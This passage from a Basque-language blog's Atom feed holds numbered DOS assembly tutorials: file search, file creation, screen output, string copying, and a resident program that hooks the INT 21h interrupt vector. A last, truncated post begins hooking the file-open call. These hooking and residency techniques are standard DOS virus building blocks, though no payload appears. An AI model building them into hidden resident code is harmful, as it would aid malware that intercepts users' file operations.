/&gt; int  21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;&lt;br /&gt;Kodea ends&lt;br /&gt;&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-7654016826552207954?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/7654016826552207954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=7654016826552207954' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/7654016826552207954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/7654016826552207954'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/05/0015-bilatu-eta-izena-atera.html' title='0014 - Bilatu eta izena atera'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-5161012157980355812</id><published>2007-05-20T08:53:00.000-07:00</published><updated>2007-07-17T09:00:21.571-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='4fh'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='4eh'/><title type='text'>0013 - Fitxategiak bilatu</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; bilatu.asm&lt;br /&gt;; izen bat daukan fitxategia bilatzen du, 4eh bitartezt&lt;br /&gt;&lt;br /&gt;title bilatu.asm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt; izenak db '*.OBJ',0&lt;br /&gt; mezua db 'OK, fitxategia topatua!',10,13,'$'&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt;&lt;br /&gt; assume cs:Kodea, ds:Datuak&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;&lt;br /&gt;hasi:&lt;br /&gt;&lt;br /&gt; push ax&lt;br /&gt; push ds&lt;br /&gt; mov ax, Datuak&lt;br /&gt; mov ds, ax&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bilatulehena:&lt;br /&gt;&lt;br /&gt; mov ah,4eh&lt;br /&gt;&lt;br /&gt;segibilatzen:&lt;br /&gt;&lt;br /&gt; lea dx,izenak&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; jc irten&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;topatua:&lt;br /&gt; mov ah,09h&lt;br /&gt; lea  dx,mezua&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ; izena ateratzen dugu DTAtik&lt;br /&gt; ; ez du ongi egiten...&lt;br /&gt;&lt;br /&gt; mov ah,09h&lt;br /&gt; mov dx,9eh&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ; hurrengoa bilatzen dugu&lt;br /&gt; mov ah,4fh&lt;br /&gt; jmp segibilatzen&lt;br /&gt;&lt;br /&gt;irten:&lt;br /&gt;&lt;br /&gt; mov ah,4ch&lt;br /&gt; int  21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;&lt;br /&gt;Kodea ends&lt;br /&gt;&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-5161012157980355812?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/5161012157980355812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=5161012157980355812' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/5161012157980355812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/5161012157980355812'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2005/07/0013-fitxategiak-bilatu.html' title='0013 - Fitxategiak bilatu'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-382180702521836768</id><published>2007-05-17T08:30:00.000-07:00</published><updated>2007-07-17T08:59:15.995-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='3ch'/><title type='text'>0012 - Fitxategia sortu</title><content type='html'>&lt;pre&gt;&lt;br /&gt;;; sortu.asm&lt;br /&gt;; fitxategi bat sortzen duen kodea. 3ch deiarekin&lt;br /&gt;; GARRANTZITSUA!!! : sartu 00h izenaren bukaeran&lt;br /&gt;&lt;br /&gt;title sortu.asm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt;&lt;br /&gt;;izena db 'C:\fitx',00h&lt;br /&gt;izena db 'C:\asm\adib\fitxategia.asm',00h&lt;br /&gt;errorea db 'Errorea fitxategia sortzerakoan',10,13,'$'&lt;br /&gt;&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;;\&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt;&lt;br /&gt;assume cs:Kodea, ds:Datuak&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;&lt;br /&gt;hasi:&lt;br /&gt;&lt;br /&gt;push ax&lt;br /&gt;push ds&lt;br /&gt;mov  ax, Datuak&lt;br /&gt;mov  ds,ax&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;xor ax,ax&lt;br /&gt;xor cx,cx&lt;br /&gt;lea  dx,izena&lt;br /&gt;mov ah,3Ch&lt;br /&gt;int  21h&lt;br /&gt;&lt;br /&gt;jnc bukatu&lt;br /&gt;mov ah,09h&lt;br /&gt;&lt;br /&gt;lea dx, errorea&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;bukatu:&lt;br /&gt;&lt;br /&gt;xor  ax,ax&lt;br /&gt;mov ah,4ch&lt;br /&gt;int  21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;&lt;br /&gt;Kodea ends&lt;br /&gt;&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-382180702521836768?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/382180702521836768/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=382180702521836768' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/382180702521836768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/382180702521836768'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2005/07/0012-fitxategia-sortu.html' title='0012 - Fitxategia sortu'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-6880241516057021682</id><published>2007-04-15T13:41:00.000-07:00</published><updated>2007-07-17T08:49:12.687-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='02h'/><category scheme='http://www.blogger.com/atom/ns#' term='int 10h'/><title type='text'>0011 - Kurtsorea kokatu</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; Kurtsorea mugitu BIOS deia erabiliz.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;datuak segment para public 'data'&lt;br /&gt; mz db 'Hemen gaude',10,13,'$'&lt;br /&gt; x db 20&lt;br /&gt; y db 15&lt;br /&gt;datuak ends&lt;br /&gt;&lt;br /&gt;kodea segment para public 'kodea'&lt;br /&gt;&lt;br /&gt;assume cs:kodea, ds:datuak&lt;br /&gt;nagusia proc near&lt;br /&gt;hasiera:&lt;br /&gt; mov  ax, datuak&lt;br /&gt; mov  ds, ax&lt;br /&gt; &lt;br /&gt; mov dl, x&lt;br /&gt; mov dh, y&lt;br /&gt; &lt;br /&gt; ; kurtsorea mugitu&lt;br /&gt; mov bh, 00h&lt;br /&gt; mov ah, 02h&lt;br /&gt; int 10h&lt;br /&gt; &lt;br /&gt; xor ax, ax&lt;br /&gt; &lt;br /&gt;   ; Mezua atera&lt;br /&gt; mov ah, 09h &lt;br /&gt; lea dx, mz&lt;br /&gt; int 21h &lt;br /&gt; &lt;br /&gt; mov  ah, 4ch&lt;br /&gt; int  21h &lt;br /&gt; ;ret&lt;br /&gt;nagusia endp&lt;br /&gt;kodea ends&lt;br /&gt;end hasiera02h&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-6880241516057021682?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/6880241516057021682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=6880241516057021682' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/6880241516057021682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/6880241516057021682'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/04/0010-kurtsorea-kokatu.html' title='0011 - Kurtsorea kokatu'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-4968136916124174468</id><published>2007-02-16T09:03:00.000-08:00</published><updated>2007-07-17T08:48:45.578-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>0010 - kaixo, agurra</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title kaixo.asm&lt;br /&gt;&lt;br /&gt;; kasu honetan kode segmentuan...&lt;br /&gt;;datuak segment para public 'data'&lt;br /&gt;;db agurra 'Kaixo',10,13,'$'&lt;br /&gt;;datuak ends&lt;br /&gt;&lt;br /&gt;kodea segment para public 'code'&lt;br /&gt;db agurra 'Kaixo',10,13,'$'&lt;br /&gt;&lt;br /&gt;assume cs:kodea, ds:kodea&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt;&lt;br /&gt;push ax&lt;br /&gt;push ds&lt;br /&gt;&lt;br /&gt;mov ax,kodea&lt;br /&gt;mov ds,ax&lt;br /&gt;pop ax&lt;br /&gt;&lt;br /&gt;xor ax,ax&lt;br /&gt;lea dx, agurra&lt;br /&gt;mov ah,09h&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;xor ax, ax&lt;br /&gt;mov ah,4ch&lt;br /&gt;int 21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;kodea ends&lt;br /&gt;hasi end&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-4968136916124174468?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/4968136916124174468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=4968136916124174468' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/4968136916124174468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/4968136916124174468'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/0011-kaixo-agurra.html' title='0010 - kaixo, agurra'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-115624307558257233</id><published>2006-08-22T03:37:00.000-07:00</published><updated>2007-07-17T08:56:25.907-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='31h'/><title type='text'>000F - resi</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; resi.asm&lt;br /&gt;; memorian geratzeko modurik xinpleena.&lt;br /&gt;; tasm resi.asm&lt;br /&gt;; tlink /t resi.obj&lt;br /&gt;; killkir - http://killkir.blogspot.com&lt;br /&gt;&lt;br /&gt;kodea segment para public 'code'&lt;br /&gt; assume cs:kodea, ds:kodea&lt;br /&gt;&lt;br /&gt;   org   100h&lt;br /&gt;   &lt;br /&gt;hasi:&lt;br /&gt; jmp sartu   &lt;br /&gt; &lt;br /&gt;int21_zaharra dd 2 ;jatorrizko helbidea sartzeko&lt;br /&gt;&lt;br /&gt;int21_berria:&lt;br /&gt;&lt;br /&gt;    jmp cs:[int21_zaharra]  &lt;br /&gt;    &lt;br /&gt;sartu:&lt;br /&gt;&lt;br /&gt;   ;;int 21ren helbidea jaso&lt;br /&gt;    mov ax, 3521h&lt;br /&gt;    int 21h&lt;br /&gt;    mov word ptr int21_zaharra, bx &lt;br /&gt;    mov word ptr int21_zaharra+2, es &lt;br /&gt;&lt;br /&gt;   ;; Nirea ezarri: int21_berria&lt;br /&gt;    mov  ax,2521h          &lt;br /&gt;    push cs&lt;br /&gt;    pop  ds&lt;br /&gt;    mov  dx, offset int21_berria&lt;br /&gt;    int  21h&lt;br /&gt;&lt;br /&gt;    ;; 31h deia: memorian geratzen da&lt;br /&gt;    mov ah, 31h&lt;br /&gt;    mov dx, 60d  &lt;br /&gt;    int 21h&lt;br /&gt;&lt;br /&gt;kodea ends&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-115624307558257233?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/115624307558257233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=115624307558257233' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/115624307558257233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/115624307558257233'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/08/000f-resi.html' title='000F - resi'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-115348088680267745</id><published>2006-07-21T04:21:00.000-07:00</published><updated>2006-07-21T04:21:45.893-07:00</updated><title type='text'>000E - Kopia.asm</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; kate baten kopia aldagai batetik bestera mugitzen du&lt;br /&gt;Title kopia.asm&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt; mezua db 'Kaixo mundua','$' &lt;br /&gt; kopia db 'hutsa        $'&lt;br /&gt; tam   dw kopia-mezua&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;NireKodea segment para public 'code'&lt;br /&gt;; Ikustenb duzuen moduan DS edo Datu segmentua NireKodea segmentuan dago.&lt;br /&gt;assume cs: NireKodea, ds: Datuak&lt;br /&gt;&lt;br /&gt;kaixo proc near&lt;br /&gt;nagusia:&lt;br /&gt;    push ds&lt;br /&gt;    push ax&lt;br /&gt;    mov  ax, Datuak&lt;br /&gt;    mov  ds, ax&lt;br /&gt;    mov  es, ax    ; HAU ezinbestekoa da datuak mugitzeko!!&lt;br /&gt;    pop  ax&lt;br /&gt;    xor  ax, ax&lt;br /&gt;    &lt;br /&gt;    ; Kopia pantailaratzen dugu&lt;br /&gt;    mov ah, 09h   &lt;br /&gt;    lea dx, kopia &lt;br /&gt;    int 21h       &lt;br /&gt;    &lt;br /&gt;    ; KOPIA PROZESUA&lt;br /&gt;    mov cx, word ptr [tam]&lt;br /&gt;    lea si, mezua&lt;br /&gt;    lea di, kopia&lt;br /&gt;    rep movsb&lt;br /&gt;    &lt;br /&gt;    ; Kopia pantailaratzen dugu&lt;br /&gt;    mov ah, 09h   &lt;br /&gt;    lea dx, kopia&lt;br /&gt;    int 21h       &lt;br /&gt;         &lt;br /&gt;    ; programa bukatzeko deia &lt;br /&gt;    mov     ah, 4ch&lt;br /&gt;    int     21h  &lt;br /&gt;&lt;br /&gt;kaixo endp&lt;br /&gt;NireKodea ends&lt;br /&gt;end nagusia&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Sintaxi laburtua&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;; kate baten kopia aldagai batetik bestera mugitzen du&lt;br /&gt;Title kopia.asm&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.data&lt;br /&gt; mezua db 'Kaixo mundua','$' &lt;br /&gt; kopia db 'hutsa        $'&lt;br /&gt; tam   dw kopia-mezua&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;&lt;br /&gt;kaixo proc near&lt;br /&gt;nagusia:&lt;br /&gt;    push ds&lt;br /&gt;    push ax&lt;br /&gt;    mov  ax, @data&lt;br /&gt;    mov  ds, ax&lt;br /&gt;    mov  es, ax    ; HAU ezinbestekoa da datuak mugitzeko!!&lt;br /&gt;    pop  ax&lt;br /&gt;    xor  ax, ax&lt;br /&gt;    &lt;br /&gt;    ; Kopia pantailaratzen dugu&lt;br /&gt;    mov ah, 09h   &lt;br /&gt;    lea dx, kopia &lt;br /&gt;    int 21h       &lt;br /&gt;    &lt;br /&gt;    ; KOPIA PROZESUA&lt;br /&gt;    mov cx, word ptr [tam]&lt;br /&gt;    lea si, mezua&lt;br /&gt;    lea di, kopia&lt;br /&gt;    rep movsb&lt;br /&gt;    &lt;br /&gt;    ; Kopia pantailaratzen dugu&lt;br /&gt;    mov ah, 09h   &lt;br /&gt;    lea dx, kopia&lt;br /&gt;    int 21h       &lt;br /&gt;         &lt;br /&gt;    ; programa bukatzeko deia &lt;br /&gt;    mov     ah, 4ch&lt;br /&gt;    int     21h  &lt;br /&gt;&lt;br /&gt;kaixo endp&lt;br /&gt;end nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-115348088680267745?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/115348088680267745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=115348088680267745' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/115348088680267745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/115348088680267745'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/07/000e-kopiaasm.html' title='000E - Kopia.asm'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-115320698514385400</id><published>2006-07-18T00:15:00.000-07:00</published><updated>2006-07-18T00:16:25.200-07:00</updated><title type='text'>000D - Pantailan idazten</title><content type='html'>&lt;pre&gt;&lt;br /&gt;;; karak.asm&lt;br /&gt;;; killkir&lt;br /&gt;;; plantilla: programa nagusia&lt;br /&gt;;; konpilazioa: tasm karak.asm&lt;br /&gt;;; estekaketa: tlink karak&lt;br /&gt;&lt;br /&gt;title ASCII karakatereak pantailaratzen&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Kode segmentua                          ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Kodea  segment para public 'KODEA'&lt;br /&gt; assume cs:Kodea&lt;br /&gt;Nagusia proc far &lt;br /&gt; &lt;br /&gt;   push ds&lt;br /&gt;   xor  ax,ax&lt;br /&gt;   push ax&lt;br /&gt;   &lt;br /&gt;   ; Datu segmentuak pantailan jartzen dugu&lt;br /&gt;   mov  ax, 0b800h&lt;br /&gt;   mov  ds ,ax&lt;br /&gt;   &lt;br /&gt;   ; bx = ax = 0 hasieratu...&lt;br /&gt;   xor bx, bx&lt;br /&gt;   xor ax, ax&lt;br /&gt;   &lt;br /&gt;begizta:&lt;br /&gt;&lt;br /&gt;   ; DS + BX gunean (pantailan!) karakterea erakutsi&lt;br /&gt;   mov [bx], al&lt;br /&gt;   inc bx       ; aurrera egin atributora  &lt;br /&gt;   mov [bx], 70h&lt;br /&gt;   &lt;br /&gt;   inc bx       ; aurrera hurrengo posiziora&lt;br /&gt;   inc al       ; aurrera hurrengo karakterera&lt;br /&gt;   &lt;br /&gt;   jnz begizta  ; ax = ah + al. al 0000 0000 denean ah=0000 0001&lt;br /&gt;   &lt;br /&gt;   ; Irteera&lt;br /&gt;   mov ah, 4ch&lt;br /&gt;   int 21h           ; irteera sistema deiarekin&lt;br /&gt;   &lt;br /&gt;Nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;end Nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-115320698514385400?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/115320698514385400/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=115320698514385400' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/115320698514385400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/115320698514385400'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/07/000d-pantailan-idazten.html' title='000D - Pantailan idazten'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114770972597110237</id><published>2006-05-15T09:14:00.000-07:00</published><updated>2006-07-18T00:15:11.416-07:00</updated><title type='text'>000C - NEAR funtzioak, hurbileko deiak</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; PrintFuntzioa&lt;br /&gt;; Mezu bat pantailaratzen duen kodea, funtzio baten bitartez&lt;br /&gt;; Garrantzitsuena parametro pasatzea da.&lt;br /&gt;; Konpilazioa: tasm print.com&lt;br /&gt;; Estekaketa:  tlink /t print.obj&lt;br /&gt;; Killkir&lt;br /&gt;&lt;br /&gt;title PrintFuntzioa&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt;mezua db 'Kaixo mundua',10,13,'$'   ; $ jarri behar zaio kate amaiera adierazteko&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;NireKodea segment&lt;br /&gt;assume cs: NireKodea, ds: Datuak&lt;br /&gt;&lt;br /&gt;kaixo proc near&lt;br /&gt;nagusia:&lt;br /&gt; push ds&lt;br /&gt; push ax&lt;br /&gt; mov  ax, Datuak&lt;br /&gt; mov  ds, ax&lt;br /&gt; pop  ax&lt;br /&gt; &lt;br /&gt; mov  dx, offset mezua&lt;br /&gt; push dx&lt;br /&gt; call idatzi&lt;br /&gt; int 20h        ; programa bukatzeko deia&lt;br /&gt;&lt;br /&gt;kaixo endp&lt;br /&gt; &lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;; print funtzioa&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;idatzi proc near&lt;br /&gt; push bp              ; hitzaurrea&lt;br /&gt; mov  bp,sp&lt;br /&gt; &lt;br /&gt; mov dx,[bp + 4]      ; lehen parametroa jasotzen dugu&lt;br /&gt; mov ah, 09h          ; AH=09H sistema deia, katea pantailaratzeko&lt;br /&gt; int 21h              ; Sistema deia eragiten da&lt;br /&gt; &lt;br /&gt; mov  sp, bp          ; irten baino lehen, berreskuratu egoera&lt;br /&gt; pop  bp              ; kitto&lt;br /&gt; &lt;br /&gt; ret  2                ; ret, funtziotik irtetzeko, 2 pasatutako parametroarengatik&lt;br /&gt;idatzi endp&lt;br /&gt;&lt;br /&gt;NireKodea ends&lt;br /&gt;end nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114770972597110237?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114770972597110237/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114770972597110237' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114770972597110237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114770972597110237'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/05/000c-near-funtzioak-hurbileko-deiak.html' title='000C - NEAR funtzioak, hurbileko deiak'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114711303970846913</id><published>2006-05-08T11:29:00.000-07:00</published><updated>2006-05-08T11:30:46.976-07:00</updated><title type='text'>000B - Aingurak</title><content type='html'>&lt;pre&gt;&lt;br /&gt;;aingura.asm &lt;ZUZENDU GABE!!&gt;&lt;br /&gt;;kode zati bat DOSen eten bektorean sartzen du,&lt;br /&gt;;zehazki fitxategia irekitzeko deian.&lt;br /&gt;;beraz, dei bat dagoenean kode hau egikarituko da.&lt;br /&gt;; killkir&lt;br /&gt;&lt;br /&gt;title AINGURA, eten bektorean gure kodea sartzen&lt;br /&gt;&lt;br /&gt;datuak segment para public 'datuak'&lt;br /&gt; agurra db 'Hemen nago, etenetan ainguratuta',13,10,'$'&lt;br /&gt; fitxategia db 'aingura.asm'&lt;br /&gt;datuak ends&lt;br /&gt;&lt;br /&gt;kodea segment para public 'kodea'&lt;br /&gt; assume  cs:kodea,ds:datuak&lt;br /&gt;nagusia proc near&lt;br /&gt;       push  ds&lt;br /&gt;       push  ax&lt;br /&gt;       mov   ax, datuak&lt;br /&gt;       mov   ds,ax&lt;br /&gt;       pop   ax&lt;br /&gt;       &lt;br /&gt;    ; eten bektorearen 3eh deian gure_kodea sartzen dugu&lt;br /&gt;       mov   al,3eh&lt;br 